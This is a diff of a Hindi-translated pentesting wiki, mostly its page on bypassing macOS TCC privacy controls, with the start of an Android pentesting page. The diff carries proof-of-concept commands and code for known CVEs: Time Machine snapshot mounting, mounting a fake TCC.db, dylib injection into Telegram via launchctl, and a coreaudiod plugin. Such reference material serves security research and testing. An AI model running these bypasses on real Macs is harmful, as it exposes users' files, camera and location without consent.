वह **हर TCC अधिकार** प्राप्त कर सके बिना अंत उपयोगकर्ता को कभी भी संकेत दिए।\ PoC: ```bash # reset database just in case (no cheating!) @@ -151,29 +151,29 @@ $> ls ~/Documents ### CVE-2021-30782 - ट्रांसलोकेशन -बाइनरी `/usr/libexec/lsd` के साथ लाइब्रेरी `libsecurity_translocate` में `com.apple.private.nullfs_allow` का अधिकार था जिसने इसे **nullfs** माउंट बनाने की अनुमति दी और इसमें **`kTCCServiceSystemPolicyAllFiles`** के साथ `com.apple.private.tcc.allow` का अधिकार था ताकि हर फ़ाइल तक पहुंचा जा सके। +बाइनरी `/usr/libexec/lsd` जिसमें लाइब्रेरी `libsecurity_translocate` थी, के पास `com.apple.private.nullfs_allow` का अधिकार था जिससे इसे **nullfs** माउंट बनाने की अनुमति मिली और इसके पास `com.apple.private.tcc.allow` का अधिकार था जिसमें **`kTCCServiceSystemPolicyAllFiles`** था जिससे हर फ़ाइल तक पहुंचने की अनुमति मिली। -"Library" में क्वारंटाइन विशेषता जोड़ना संभव था, **`com.apple.security.translocation`** XPC सेवा को कॉल करना और फिर यह Library को **`$TMPDIR/AppTranslocation/d/d/Library`** पर मैप करेगा जहां Library के अंदर सभी दस्तावेज़ों तक **पहुँच** किया जा सकता था। +"Library" में क्वारंटाइन विशेषता जोड़ना संभव था, **`com.apple.security.translocation`** XPC सेवा को कॉल करना और फिर यह Library को **`$TMPDIR/AppTranslocation/d/d/Library`** पर मैप करेगा जहां Library के अंदर सभी दस्तावेज़ों तक **पहुँच** की जा सकती थी। ### CVE-2023-38571 - म्यूजिक और टीवी -**`Music`** में एक दिलचस्प विशेषता है: जब यह चल रहा होता है, यह **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** में गिराए गए फ़ाइलों को उपयोगकर्ता की "मीडिया लाइब्रेरी" में **आयात** करेगा। इसके अलावा, यह कुछ इस तरह कॉल करता है: **`rename(a, b);`** जहां `a` और `b` हैं: +**`Music`** में एक दिलचस्प विशेषता है: जब यह चल रहा होता है, यह फ़ाइलों को **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** में उपयोगकर्ता की "मीडिया लाइब्रेरी" में **आयात** करेगा। इसके अलावा, यह कुछ इस तरह कॉल करता है: **`rename(a, b);`** जहां `a` और `b` हैं: - `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` - `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` -यह **`rename(a, b);`** व्यवहार एक **रेस कंडीशन** के लिए संवेदनशील है, क्योंकि यह संभव है कि `Automatically Add to Music.localized` फ़ोल्डर के अंदर एक नकली **TCC.db** फ़ाइल डाली जाए और फिर जब नया फ़ोल्डर(b) बनाया जाए तो फ़ाइल को कॉपी करें, उसे हटा दें, और इसे **`~/Library/Application Support/com.apple.TCC`** पर इंगित करें। +यह **`rename(a, b);`** व्यवहार एक **रेस कंडीशन** के प्रति संवेदनशील है, क्योंकि यह संभव है कि `Automatically Add to Music.localized` फ़ोल्डर के अंदर एक नकली **TCC.db** फ़ाइल डाली जाए और फिर जब नया फ़ोल्डर(b) बनाया जाए तो फ़ाइल को कॉपी करें, उसे हटा दें, और इसे **`~/Library/Application Support/com.apple.TCC`** पर इंगित करें। ### SQLITE_SQLLOG_DIR - CVE-2023-32422 -यदि **`SQLITE_SQLLOG_DIR="path/folder"`** है तो इसका मतलब है कि **कोई भी खुला db उस पथ पर कॉपी किया जाता है**। इस CVE में इस नियंत्रण का दुरुपयोग किया गया था ताकि **SQLite डेटाबेस** के अंदर **लिखा** जा सके जो एक प्रक्रिया द्वारा FDA TCC डेटाबेस के साथ **खुला** जाएगा, और फिर **`SQLITE_SQLLOG_DIR`** का दुरुपयोग एक **symlink नाम में** किया गया ताकि जब वह डेटाबेस **खुला** हो, उपयोगकर्ता **TCC.db को ओवरराइट** किया जाए।\ +यदि **`SQLITE_SQLLOG_DIR="path/folder"`** है, तो इसका मतलब है कि **कोई भी खुला db उस पथ पर कॉपी किया जाता है**। इस CVE में इस नियंत्रण का दुरुपयोग किया गया था ताकि **एक SQLite डेटाबेस के अंदर लिखा जा सके** जो एक प्रक्रिया द्वारा **TCC डेटाबेस** के साथ **खुला** होने वाला है, और फिर **`SQLITE_SQLLOG_DIR`** का दुरुपयोग **फाइलनाम में एक सिम्लिंक** के साथ किया गया ताकि जब वह डेटाबेस **खुला** हो, उपयोगकर्ता **TCC.db को ओवरराइट** किया जा सके।\ **अधिक जानकारी** [**लेख में**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **और**[ **बातचीत में**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s)। ### **SQLITE_AUTO_TRACE** -यदि पर्यावरण चर **`SQLITE_AUTO_TRACE`** सेट किया गया है, तो लाइब्रेरी **`libsqlite3.dylib`** सभी SQL क्वेरीज़ को **लॉगिंग** करना शुरू कर देगी। कई अनुप्रयोगों ने इस लाइब्रेरी का उपयोग किया, इसलिए यह सभी SQLite क्वेरीज़ को लॉग करना संभव था। +यदि पर्यावरण चर **`SQLITE_AUTO_TRACE`** सेट किया गया है, तो लाइब्रेरी **`libsqlite3.dylib`** सभी SQL क्वेरीज़ को **लॉगिंग** करना शुरू कर देगी। कई एप्लिकेशन ने इस लाइब्रेरी का उपयोग किया, इसलिए यह सभी SQLite क्वेरीज़ को लॉग करना संभव था। -कई Apple अनुप्रयोगों ने TCC संरक्षित जानकारी तक पहुंचने के लिए इस लाइब्रेरी का उपयोग किया। +कई Apple एप्लिकेशनों ने TCC संरक्षित जानकारी तक पहुंचने के लिए इस लाइब्रेरी का उपयोग किया। ```bash # Set this env variable everywhere launchctl setenv SQLITE_AUTO_TRACE 1 @@ -185,15 +185,15 @@ launchctl setenv SQLITE_AUTO_TRACE 1 निम्नलिखित सेट करना: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`। यदि `path` एक मान्य निर्देशिका है, तो बग सक्रिय होगा और हम `fs_usage` का उपयोग करके देख सकते हैं कि कार्यक्रम में क्या हो रहा है: - एक फ़ाइल `open()` की जाएगी, जिसका नाम `path/.dat.nosyncXXXX.XXXXXX` होगा (X यादृच्छिक है) -- एक या अधिक `write()` फ़ाइल में सामग्री लिखेंगे (हम इसे नियंत्रित नहीं करते) +- एक या अधिक `write()` फ़ाइल में सामग्री लिखेंगे (हम इसका नियंत्रण नहीं रखते) - `path/.dat.nosyncXXXX.XXXXXX` को `path/name` में `renamed()` किया जाएगा -यह एक अस्थायी फ़ाइल लेखन है, जिसके बाद **`rename(old, new)`** **जो सुरक्षित नहीं है।** +यह एक अस्थायी फ़ाइल लेखन है, इसके बाद एक **`rename(old, new)`** **जो सुरक्षित नहीं है।** -यह सुरक्षित नहीं है क्योंकि इसे **पुराने और नए पथों को अलग-अलग हल करना होगा**, जो कुछ समय ले सकता है और एक Race Condition के प्रति संवेदनशील हो सकता है। अधिक जानकारी के लिए आप `xnu` फ़ंक्शन `renameat_internal()` की जांच कर सकते हैं। +यह सुरक्षित नहीं है क्योंकि इसे **पुराने और नए पथों को अलग-अलग हल करना होता है**, जो कुछ समय ले सकता है और एक Race Condition के प्रति संवेदनशील हो सकता है। अधिक जानकारी के लिए आप `xnu` फ़ंक्शन `renameat_internal()` की जांच कर सकते हैं। > [!CAUTION] -> तो, मूल रूप से, यदि एक विशेषाधिकार प्राप्त प्रक्रिया एक फ़ोल्डर से नाम बदल रही है जिसे आप नियंत्रित करते हैं, तो आप एक RCE जीत सकते हैं और इसे एक अलग फ़ाइल तक पहुँच बना सकते हैं या, जैसे कि इस CVE में, उस फ़ाइल को खोल सकते हैं जिसे विशेषाधिकार प्राप्त ऐप ने बनाया और एक FD संग्रहीत कर सकते हैं। +> तो, मूल रूप से, यदि एक विशेषाधिकार प्राप्त प्रक्रिया एक फ़ोल्डर से नाम बदल रही है जिसे आप नियंत्रित करते हैं, तो आप एक RCE जीत सकते हैं और इसे एक अलग फ़ाइल तक पहुँच बना सकते हैं या, जैसे कि इस CVE में, उस फ़ाइल को खोल सकते हैं जो विशेषाधिकार प्राप्त ऐप ने बनाई थी और एक FD संग्रहीत कर सकते हैं। > > यदि नाम बदलने का फ़ोल्डर आप नियंत्रित करते हैं, जबकि आपने स्रोत फ़ाइल को संशोधित किया है या इसके लिए एक FD है, तो आप गंतव्य फ़ाइल (या फ़ोल्डर) को एक symlink की ओर इंगित करने के लिए बदल सकते हैं, ताकि आप जब चाहें लिख सकें। @@ -203,11 +203,11 @@ launchctl setenv SQLITE_AUTO_TRACE 1 - निर्देशिका `/Users/hacker/tmp/` बनाएं - सेट करें `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` - इस env var के साथ `Music` चलाकर बग को सक्रिय करें -- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` का `open()` पकड़ें (X यादृच्छिक है) -- यहाँ हम इस फ़ाइल को लेखन के लिए भी `open()` करते हैं, और फ़ाइल डिस्क्रिप्टर को पकड़ कर रखते हैं +- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` के `open()` को पकड़ें (X यादृच्छिक है) +- यहाँ हम इस फ़ाइल को लेखन के लिए भी `open()` करते हैं, और फ़ाइल डिस्क्रिप्टर को पकड़कर रखते हैं - `/Users/hacker/tmp` को `/Users/hacker/ourlink` के साथ **एक लूप में** परमाणु रूप से स्विच करें - हम ऐसा करते हैं ताकि हमारी सफल होने की संभावनाएँ अधिकतम हो सकें क्योंकि दौड़ की खिड़की काफी संकीर्ण है, लेकिन दौड़ हारने का नुकसान नगण्य है -- थोड़ी देर प्रतीक्षा करें +- थोड़ा इंतजार करें - परीक्षण करें कि क्या हमें भाग्यशाली मिला - यदि नहीं, तो फिर से शीर्ष से चलाएं @@ -218,7 +218,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1 ### Apple Remote Desktop -रूट के रूप में आप इस सेवा को सक्षम कर सकते हैं और **ARD एजेंट को पूर्ण डिस्क एक्सेस होगा** जिसे फिर एक उपयोगकर्ता द्वारा नए **TCC उपयोगकर्ता डेटाबेस** की कॉपी करने के लिए दुरुपयोग किया जा सकता है। +रूट के रूप में आप इस सेवा को सक्षम कर सकते हैं और **ARD एजेंट को पूर्ण डिस्क एक्सेस** होगा जिसे फिर एक उपयोगकर्ता द्वारा नए **TCC उपयोगकर्ता डेटाबेस** की कॉपी करने के लिए दुरुपयोग किया जा सकता है। ## By **NFSHomeDirectory** @@ -226,7 +226,7 @@ TCC उपयोगकर्ता के HOME फ़ोल्डर में इसलिए, यदि उपयोगकर्ता $HOME env variable को एक **विभिन्न फ़ोल्डर** की ओर इंगित करने के लिए TCC को पुनरारंभ करने में सफल होता है, तो उपयोगकर्ता **/Library/Application Support/com.apple.TCC/TCC.db** में एक नया TCC डेटाबेस बना सकता है और TCC को किसी भी ऐप को कोई भी TCC अनुमति देने के लिए धोखा दे सकता है। > [!TIP] -> ध्यान दें कि Apple उपयोगकर्ता के प्रोफ़ाइल में **`NFSHomeDirectory`** विशेषता में संग्रहीत सेटिंग का उपयोग करता है **`$HOME`** के मान के लिए, इसलिए यदि आप इस मान को संशोधित करने के लिए अनुमतियों के साथ एक एप्लिकेशन से समझौता करते हैं (**`kTCCServiceSystemPolicySysAdminFiles`**), तो आप इस विकल्प को TCC बायपास के साथ **हथियारबंद** कर सकते हैं। +> ध्यान दें कि Apple उपयोगकर्ता के प्रोफ़ाइल में **`NFSHomeDirectory`** विशेषता के भीतर संग्रहीत सेटिंग का उपयोग करता है **`$HOME`** के मान के लिए, इसलिए यदि आप इस मान को संशोधित करने के लिए अनुमतियों के साथ एक एप्लिकेशन से समझौता करते हैं (**`kTCCServiceSystemPolicySysAdminFiles`**), तो आप इस विकल्प को TCC बायपास के साथ **हथियारबंद** कर सकते हैं। ### [CVE-2020–9934 - TCC](#c19b) @@ -244,34 +244,35 @@ TCC उपयोगकर्ता के HOME फ़ोल्डर में 6. उपयोगकर्ता के _tccd_ को रोकें और प्रक्रिया को पुनरारंभ करें। दूसरे POC ने **`/usr/libexec/configd`** का उपयोग किया जिसमें `com.apple.private.tcc.allow` था जिसका मान `kTCCServiceSystemPolicySysAdminFiles` था।\ -यह संभव था कि **`configd`** को **`-t`** विकल्प के साथ चलाया जाए, एक हमलावर एक **कस्टम बंडल लोड करने** के लिए निर्दिष्ट कर सकता था। इसलिए, शोषण **उपयोगकर्ता के होम डायरेक्टरी को बदलने के लिए** **`dsexport`** और **`dsimport`** विधि को **`configd` कोड इंजेक्शन** के साथ **बदलता है**। +यह संभव था कि **`configd`** को **`-t`** विकल्प के साथ चलाया जाए, एक हमलावर एक **कस्टम बंडल लोड करने** के लिए निर्दिष्ट कर सकता था। इसलिए, शोषण ने उपयोगकर्ता के होम डायरेक्टरी को बदलने के **`dsexport`** और **`dsimport`** विधि को **`configd` कोड इंजेक्शन** के साथ **बदल दिया**। -अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/) की जांच करें। +अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/) देखें। ## By process injection कोई प्रक्रिया के अंदर कोड इंजेक्ट करने और इसके TCC विशेषाधिकारों का दुरुपयोग करने के लिए विभिन्न तकनीकें हैं: + {{#ref}} ../../../macos-proces-abuse/ {{#endref}} इसके अलावा, TCC को बायपास करने के लिए सबसे सामान्य प्रक्रिया इंजेक्शन **प्लगइन्स (लोड लाइब्रेरी)** के माध्यम से पाया गया है।\ -प्लगइन्स अतिरिक्त कोड होते हैं जो आमतौर पर लाइब्रेरी या plist के रूप में होते हैं, जिन्हें **मुख्य एप्लिकेशन द्वारा लोड किया जाएगा** और इसके संदर्भ में निष्पादित किया जाएगा। इसलिए, यदि मुख्य एप्लिकेशन को TCC प्रतिबंधित फ़ाइलों तक पहुँच प्राप्त है (अनुमतियों या अधिकारों के माध्यम से), तो **कस्टम कोड को भी यह प्राप्त होगा**। +प्लगइन्स अतिरिक्त कोड होते हैं जो आमतौर पर लाइब्रेरी या plist के रूप में होते हैं, जिन्हें **मुख्य एप्लिकेशन द्वारा लोड किया जाएगा** और इसके संदर्भ में निष्पादित किया जाएगा। इसलिए, यदि मुख्य एप्लिकेशन को TCC प्रतिबंधित फ़ाइलों (अनुमतियों या अधिकारों के माध्यम से) तक पहुँच प्राप्त है, तो **कस्टम कोड को भी यह प्राप्त होगा**। ### CVE-2020-27937 - Directory Utility -एप्लिकेशन `/System/Library/CoreServices/Applications/Directory Utility.app` में विशेषाधिकार **`kTCCServiceSystemPolicySysAdminFiles`** था, जो **`.daplug`** एक्सटेंशन के साथ प्लगइन्स लोड करता था और **सुरक्षित** रनटाइम नहीं था। +एप्लिकेशन `/System/Library/CoreServices/Applications/Directory Utility.app` में विशेषाधिकार **`kTCCServiceSystemPolicySysAdminFiles`** था, लोड किए गए प्लगइन्स में **`.daplug`** एक्सटेंशन था और **कठोर** रनटाइम नहीं था। -इस CVE को हथियारबंद करने के लिए, **`NFSHomeDirectory`** को **बदल दिया गया** (पिछले विशेषाधिकार का दुरुपयोग करते हुए) ताकि उपयोगकर्ता के TCC डेटाबेस को **अपने कब्जे में लेने** के लिए TCC को बायपास किया जा सके। +इस CVE को हथियारबंद करने के लिए, **`NFSHomeDirectory`** को **बदल दिया गया** (पिछले विशेषाधिकार का दुरुपयोग करते हुए) ताकि उपयोगकर्ता के TCC डेटाबेस को **कब्जा** किया जा सके और TCC को बायपास किया जा सके। -अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/) की जांच करें। +अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/) देखें। ### CVE-2020-29621 - Coreaudiod -बाइनरी **`/usr/sbin/coreaudiod`** में विशेषाधिकार `com.apple.security.cs.disable-library-validation` और `com.apple.private.tcc.manager` थे। पहला **कोड इंजेक्शन की अनुमति देता है** और दूसरा इसे **TCC प्रबंधित करने** की अनुमति देता है। +बाइनरी **`/usr/sbin/coreaudiod`** में विशेषाधिकार `com.apple.security.cs.disable-library-validation` और `com.apple.private.tcc.manager` थे। पहला **कोड इंजेक्शन** की अनुमति देता है और दूसरा इसे **TCC प्रबंधित** करने की अनुमति देता है। -इस बाइनरी ने **तीसरे पक्ष के प्लगइन्स** को `/Library/Audio/Plug-Ins/HAL` फ़ोल्डर से लोड करने की अनुमति दी। इसलिए, यह संभव था कि **एक प्लगइन लोड करें और इस PoC के साथ TCC अनुमतियों का दुरुपयोग करें:** +इस बाइनरी ने **तीसरे पक्ष के प्लगइन्स** को फ़ोल्डर `/Library/Audio/Plug-Ins/HAL` से लोड करने की अनुमति दी। इसलिए, यह संभव था कि **एक प्लगइन लोड करें और TCC अनुमतियों का दुरुपयोग करें** इस PoC के साथ: ```objectivec #import #import @@ -302,7 +303,7 @@ For more info check the [**original report**](https://wojciechregula.blog/post/p ### Device Abstraction Layer (DAL) Plug-Ins -सिस्टम एप्लिकेशन जो कैमरा स्ट्रीम को Core Media I/O के माध्यम से खोलते हैं (**`kTCCServiceCamera`** के साथ ऐप्स) **इन प्लग-इन्स को लोड करते हैं** जो `/Library/CoreMediaIO/Plug-Ins/DAL` में स्थित हैं (SIP प्रतिबंधित नहीं)। +सिस्टम एप्लिकेशन जो Core Media I/O के माध्यम से कैमरा स्ट्रीम खोलते हैं (**`kTCCServiceCamera`** के साथ ऐप्स) **इन प्लगइन्स को लोड करते हैं** जो `/Library/CoreMediaIO/Plug-Ins/DAL` में स्थित हैं (SIP प्रतिबंधित नहीं)। वहाँ एक सामान्य **कंस्ट्रक्टर** के साथ एक लाइब्रेरी को स्टोर करना **कोड इंजेक्ट** करने के लिए काम करेगा। @@ -340,13 +341,13 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox ### CVE-2020-10006 -बाइनरी `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` में **`com.apple.private.tcc.allow`** और **`com.apple.security.get-task-allow`** अधिकार थे, जिससे प्रक्रिया के अंदर कोड इंजेक्ट करना और TCC विशेषाधिकारों का उपयोग करना संभव था। +बाइनरी `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` में **`com.apple.private.tcc.allow`** और **`com.apple.security.get-task-allow`** अधिकार थे, जिसने प्रक्रिया के अंदर कोड इंजेक्ट करने और TCC विशेषाधिकारों का उपयोग करने की अनुमति दी। ### CVE-2023-26818 - Telegram -Telegram में **`com.apple.security.cs.allow-dyld-environment-variables`** और **`com.apple.security.cs.disable-library-validation`** अधिकार थे, इसलिए इसे **इसके अनुमतियों तक पहुँच प्राप्त करने के लिए** दुरुपयोग करना संभव था, जैसे कैमरे के साथ रिकॉर्डिंग करना। आप [**लिखाई में पेलोड ढूंढ सकते हैं**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)। +Telegram में **`com.apple.security.cs.allow-dyld-environment-variables`** और **`com.apple.security.cs.disable-library-validation`** अधिकार थे, इसलिए इसे **इसके अनुमतियों तक पहुंच प्राप्त करने** के लिए दुरुपयोग करना संभव था, जैसे कैमरे के साथ रिकॉर्डिंग करना। आप [**लिखाई में पेलोड खोज सकते हैं**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)। -ध्यान दें कि env वेरिएबल का उपयोग करके एक लाइब्रेरी लोड करने के लिए एक **कस्टम plist** बनाई गई थी ताकि इस लाइब्रेरी को इंजेक्ट किया जा सके और **`launchctl`** का उपयोग इसे लॉन्च करने के लिए किया गया था: +ध्यान दें कि env वेरिएबल का उपयोग करके एक लाइब्रेरी लोड करने के लिए एक **कस्टम plist** बनाई गई थी ताकि इस लाइब्रेरी को इंजेक्ट किया जा सके और **`launchctl`** का उपयोग इसे लॉन्च करने के लिए किया गया: ```xml @@ -384,7 +385,7 @@ launchctl load com.telegram.launcher.plist यह तकनीकी लोगों द्वारा उपयोग किए जाने वाले कंप्यूटरों में टर्मिनल को **Full Disk Access (FDA)** देना आम है। और इसके साथ **`.terminal`** स्क्रिप्ट्स को बुलाना संभव है। -**`.terminal`** स्क्रिप्ट्स plist फ़ाइलें हैं जैसे कि यह एक जिसमें **`CommandString`** कुंजी में निष्पादित करने के लिए कमांड है: +**`.terminal`** स्क्रिप्ट्स plist फ़ाइलें होती हैं जैसे कि यह एक जिसमें **`CommandString`** कुंजी में निष्पादित करने के लिए कमांड होता है: ```xml @@ -402,7 +403,7 @@ launchctl load com.telegram.launcher.plist ``` -एक एप्लिकेशन एक टर्मिनल स्क्रिप्ट को /tmp जैसी जगह पर लिख सकता है और इसे इस तरह के कमांड के साथ लॉन्च कर सकता है: +एक एप्लिकेशन एक टर्मिनल स्क्रिप्ट को /tmp जैसे स्थान पर लिख सकता है और इसे इस तरह के कमांड के साथ लॉन्च कर सकता है: ```objectivec // Write plist in /tmp/tcc.terminal [...] @@ -418,7 +419,7 @@ exploit_location]; task.standardOutput = pipe; ### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation **कोई भी उपयोगकर्ता** (यहां तक कि बिना विशेषाधिकार वाले) एक टाइम मशीन स्नैपशॉट बना और माउंट कर सकता है और उस स्नैपशॉट के **सभी फ़ाइलों** तक पहुंच सकता है।\ -आवश्यक **केवल विशेषाधिकार** यह है कि उपयोग किए जाने वाले एप्लिकेशन (जैसे `Terminal`) को **पूर्ण डिस्क एक्सेस** (FDA) एक्सेस (`kTCCServiceSystemPolicyAllfiles`) होना चाहिए, जिसे एक व्यवस्थापक द्वारा प्रदान किया जाना चाहिए। +आवश्यक **केवल विशेषाधिकार** यह है कि उपयोग किए जाने वाले एप्लिकेशन (जैसे `Terminal`) को **पूर्ण डिस्क एक्सेस** (FDA) एक्सेस (`kTCCServiceSystemPolicyAllfiles`) प्राप्त होना चाहिए, जिसे एक व्यवस्थापक द्वारा अनुमोदित किया जाना चाहिए। ```bash # Create snapshot tmutil localsnapshot @@ -438,11 +439,11 @@ mkdir /tmp/snap # Access it ls /tmp/snap/Users/admin_user # This will work ``` -एक अधिक विस्तृत व्याख्या [**मूल रिपोर्ट में**](https://theevilbit.github.io/posts/cve_2020_9771/) **पाई जा सकती है।** +एक अधिक विस्तृत व्याख्या [**मूल रिपोर्ट में पाई जा सकती है**](https://theevilbit.github.io/posts/cve_2020_9771/)**।** ### CVE-2021-1784 & CVE-2021-30808 - TCC फ़ाइल पर माउंट करें -यहां तक कि अगर TCC DB फ़ाइल सुरक्षित है, तो एक नया TCC.db फ़ाइल **निर्देशिका पर माउंट करना** संभव था: +यहां तक कि अगर TCC DB फ़ाइल सुरक्षित है, तो **निर्देशिका पर एक नया TCC.db फ़ाइल माउंट करना संभव था:** ```bash # CVE-2021-1784 ## Mount over Library/Application\ Support/com.apple.TCC @@ -469,21 +470,22 @@ Check the **full exploit** in the [**original writeup**](https://theevilbit.gith जैसा कि [original writeup](https://www.kandji.io/blog/macos-audit-story-part2) में समझाया गया है, इस CVE ने `diskarbitrationd` का दुरुपयोग किया। -सार्वजनिक `DiskArbitration` फ्रेमवर्क से `DADiskMountWithArgumentsCommon` फ़ंक्शन सुरक्षा जांचें करता है। हालाँकि, इसे सीधे `diskarbitrationd` को कॉल करके बायपास करना संभव है और इसलिए पथ में `../` तत्वों और सिमलिंक्स का उपयोग करना संभव है। +सार्वजनिक `DiskArbitration` फ्रेमवर्क से `DADiskMountWithArgumentsCommon` फ़ंक्शन सुरक्षा जांचें करता है। हालाँकि, इसे बायपास करना संभव है `diskarbitrationd` को सीधे कॉल करके और इसलिए पथ में `../` तत्वों और सिमलिंक्स का उपयोग करके। इसने एक हमलावर को किसी भी स्थान पर मनमाने माउंट करने की अनुमति दी, जिसमें TCC डेटाबेस पर `diskarbitrationd` के अधिकार `com.apple.private.security.storage-exempt.heritable` के कारण शामिल है। ### asr -उपकरण **`/usr/sbin/asr`** ने पूरे डिस्क को कॉपी करने और इसे TCC सुरक्षा को बायपास करते हुए किसी अन्य स्थान पर माउंट करने की अनुमति दी। +उपकरण **`/usr/sbin/asr`** ने पूरे डिस्क को कॉपी करने और TCC सुरक्षा को बायपास करते हुए इसे किसी अन्य स्थान पर माउंट करने की अनुमति दी। ### Location Services -एक तीसरा TCC डेटाबेस **`/var/db/locationd/clients.plist`** में है जो उन क्लाइंट्स को इंगित करता है जिन्हें **स्थान सेवाओं** तक पहुँचने की अनुमति है।\ -फोल्डर **`/var/db/locationd/` DMG माउंटिंग से सुरक्षित नहीं था** इसलिए यह संभव था कि हम अपनी खुद की plist माउंट कर सकें। +एक तीसरा TCC डेटाबेस **`/var/db/locationd/clients.plist`** है जो उन क्लाइंट्स को इंगित करता है जिन्हें **स्थान सेवाओं** तक **पहुँचने** की अनुमति है।\ +फोल्डर **`/var/db/locationd/` DMG माउंटिंग से सुरक्षित नहीं था** इसलिए यह संभव था कि हम अपनी plist को माउंट कर सकें। ## By startup apps + {{#ref}} ../../../../macos-auto-start-locations.md {{#endref}} diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 9d7ec977e..361666c00 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -6,25 +6,26 @@ यह पृष्ठ पढ़ना अत्यधिक अनुशंसित है ताकि आप **Android सुरक्षा से संबंधित सबसे महत्वपूर्ण भागों और एक Android एप्लिकेशन में सबसे खतरनाक घटकों** के बारे में जान सकें: + {{#ref}} android-applications-basics.md {{#endref}} ## ADB (Android Debug Bridge) -यह मुख्य उपकरण है जिसकी आपको एक एंड्रॉइड डिवाइस (अनुकरणीय या भौतिक) से कनेक्ट करने की आवश्यकता है।\ -**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, ऐप्स की **स्थापना** और **अनइंस्टॉलेशन**, **शेल कमांड्स** का **निष्पादन**, **डेटा का बैकअप**, **लॉग्स का पढ़ना**, और अन्य कार्यों को सक्षम बनाती है। +यह मुख्य उपकरण है जिसकी आपको एक Android डिवाइस (अनुकरणीय या भौतिक) से कनेक्ट करने की आवश्यकता है।\ +**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, ऐप्स की **स्थापना** और **अनइंस्टॉलेशन**, **शेल कमांड्स** का **निष्पादन**, **डेटा का बैकअप**, **लॉग्स को पढ़ने** जैसी अन्य कार्यों को सक्षम बनाती है। ADB का उपयोग कैसे करें, यह जानने के लिए [**ADB Commands**](adb-commands.md) की निम्नलिखित सूची पर एक नज़र डालें। ## Smali -कभी-कभी **छिपी हुई जानकारी** (शायद अच्छी तरह से छिपे हुए पासवर्ड या फ्लैग) तक पहुँचने के लिए **एप्लिकेशन कोड को संशोधित करना** दिलचस्प होता है। फिर, APK को डिकंपाइल करना, कोड को संशोधित करना और इसे फिर से संकलित करना दिलचस्प हो सकता है।\ +कभी-कभी **छिपी हुई जानकारी** (शायद अच्छी तरह से ओबफस्केटेड पासवर्ड या फ्लैग) तक पहुँचने के लिए **एप्लिकेशन कोड को संशोधित करना** दिलचस्प होता है। फिर, APK को डिकंपाइल करना, कोड को संशोधित करना और इसे फिर से संकलित करना दिलचस्प हो सकता है।\ [**इस ट्यूटोरियल में** आप **APK को डिकंपाइल करना, Smali कोड को संशोधित करना और नए कार्यक्षमता के साथ APK को फिर से संकलित करना** सीख सकते हैं](smali-changes.md)। यह **गतिशील विश्लेषण** के दौरान कई परीक्षणों के लिए एक **वैकल्पिक** के रूप में बहुत उपयोगी हो सकता है जो प्रस्तुत किए जाने वाले हैं। फिर, **इस संभावना को हमेशा ध्यान में रखें**। ## Other interesting tricks -- [Play Store में अपनी स्थिति को धोखा देना](spoofing-your-location-in-play-store.md) +- [Play Store में अपनी स्थिति को स्पूफ करना](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-आधारित गैर-रूट विशेषाधिकार पहुंच)](shizuku-privileged-api.md) - [असुरक्षित इन-ऐप अपडेट तंत्र का शोषण करना](insecure-in-app-update-rce.md) - [एक्सेसिबिलिटी सेवाओं का दुरुपयोग (Android RAT)](accessibility-services-abuse.md) @@ -50,18 +51,20 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` ## केस स्टडीज़ और कमजोरियाँ + {{#ref}} ../ios-pentesting/air-keyboard-remote-input-injection.md {{#endref}} + {{#ref}} ../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} ## स्थैतिक विश्लेषण -सबसे पहले, एक APK का विश्लेषण करने के लिए आपको **Java कोड पर नज़र डालनी चाहिए** एक डिकंपाइलर का उपयोग करके।\ -कृपया, [**विभिन्न उपलब्ध डिकंपाइलरों के बारे में जानकारी के लिए यहाँ पढ़ें**](apk-decompilers.md)। +सबसे पहले, एक APK का विश्लेषण करने के लिए आपको **decompiler का उपयोग करके Java कोड पर नज़र डालनी चाहिए**।\ +कृपया, [**विभिन्न उपलब्ध decompilers के बारे में जानकारी के लिए यहाँ पढ़ें**](apk-decompilers.md)। ### दिलचस्प जानकारी की तलाश @@ -69,40 +72,42 @@ APK के **strings** पर नज़र डालकर आप **पासव **Firebase** -**Firebase 